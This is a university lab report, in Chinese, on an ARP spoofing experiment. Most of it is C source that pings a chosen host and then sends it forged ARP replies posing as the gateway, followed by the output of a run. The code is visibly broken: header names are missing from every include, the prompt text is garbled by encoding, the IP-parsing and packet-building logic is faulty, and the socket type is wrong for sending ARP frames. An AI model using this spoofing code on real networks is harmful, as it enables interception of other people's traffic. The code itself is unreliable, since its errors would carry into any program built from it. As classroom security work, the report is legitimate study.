ARP欺骗实验报告

四川大学软件学院

实验报告

课程名称网络安全产品开发实践II 实验课时2课时实验项目ARP欺骗实验时间第3周

实验目的1.在命令行下指定要欺骗的IP地址；

2.判断指定的机器是否开启；

3.如果对方的机器开启，向指定的IP地址主机持续发送目的IP地址为网

关IP地址的欺骗ARP响应包；

实验环境虚拟机：VMware Workstation 7.0 目标操作系统：RedFlag 7.0

实验内容（算法、程序、步骤和方法）

一、扫描程序代码：

arp.c

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

unsigned char my_ip[4] = {159, 254, 26, 240};

unsigned char gateway_ip[4] = {159, 254,0, 1};

unsigned char my_mac[6] = {0x00,0x0c,0x29,0x43,0x26,0x42}; unsigned char att_ip[4];

unsigned char attack_ip[15];

struct arp_packet {

struct ether_header eh;

struct ether_arp arp;

};

struct sockaddr_in target;

int sockfd;

void getHost()

{

memset(attack_ip, 0 ,15);

fprintf(stdout,"杈撳叆鏀诲嚮IP>");

gets(attack_ip);

//printf("%s\n", attack_ip);

}

int checkHost(char *ip)

{

char temp[100];

memset(temp, 0, 100);

strcpy(temp, "ping -c2 ");

strcat(temp, ip);

if(!system(temp))

{

printf("\n%s(%s)%s\n", "Host", ip, " is open.");

return 1;

}

else

{

printf("\n%s(%s)%s\n", "Host", ip, " is close.");

return 0;

}

}

void changeIP(char* ip)

{

att_ip[0] = *strtok(ip, ".");

att_ip[1] = *strtok(ip, ".");

att_ip[2] = *strtok(ip, ".");

att_ip[3] = *strtok(ip, ".");

}

void send_arp(char *attack_ip)

{

unsigned broad_mac[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};

struct arp_packet arp_p;

memcpy(arp_p.eh.ether_dhost, broad_mac, 6);

memcpy(arp_p.eh.ether_shost, my_mac, 6);

arp_p.eh.ether_type = ETHERTYPE_ARP;

arp_p.arp.ea_hdr.ar_hrd = ARPHRD_ETHER;

arp_p.arp.ea_hdr.ar_pro = ETHERTYPE_IP;

arp_p.arp.ea_hdr.ar_hln = 6;

arp_p.arp.ea_hdr.ar_pln = 4;

arp_p.arp.ea_hdr.ar_op = ARPOP_REPLY;

memcpy(arp_p.arp.arp_sha, my_mac, 6);

memcpy(arp_p.arp.arp_spa, gateway_ip, 4);

memcpy(arp_p.arp.arp_tha, broad_mac, 6);

memcpy(arp_p.arp.arp_tpa, attack_ip, 4);

printf("\n============================start

attack!========================\n\n");

int i=0;

while(i<10 )

{

if(-1 != sendto(sockfd, &arp_p, sizeof(arp_p), 0, (struct sockaddr*)&target, sizeof(target)))

printf("success send arp pcaket to %s\n", attack_ip); i++;

}

}

int main(int argc, char *argv[])

{

getHost();

if(checkHost(attack_ip))

{

sockfd = socket(AF_INET, SOCK_RAW, ETH_P_ARP);

if(sockfd == -1)perror("socket()");

memset(&target, 0, sizeof(target));

target.sin_family = AF_INET;

target.sin_port = 0;

target.sin_addr.s_addr = inet_addr(attack_ip);

send_arp(attack_ip);

return 0;

}

else

return 0;｝

（接上）实验内容（算法、程序、步骤和方法）

二、扫描结果截图：目标主机开启：

目标主机不可达：

数据记录和计算结果（一部分）：

Host(169.254.119.34) is open.

=========================start attack!========================

success send arp pcaket to 169.254.119.34

success send arp pcaket to 169.254.119.34

success send arp pcaket to 169.254.119.34

success send arp pcaket to 169.254.119.34

success send arp pcaket to 169.254.119.34

success send arp pcaket to 169.254.119.34

success send arp pcaket to 169.254.119.34

success send arp pcaket to 169.254.119.34

success send arp pcaket to 169.254.119.34

success send arp pcaket to 169.254.119.34

结论

（结果）

初步实现arp欺骗。

小结复习了socket编程，

学习了arp欺骗的原理与实现。

指导老师

评议

成绩评定：指导教师签名：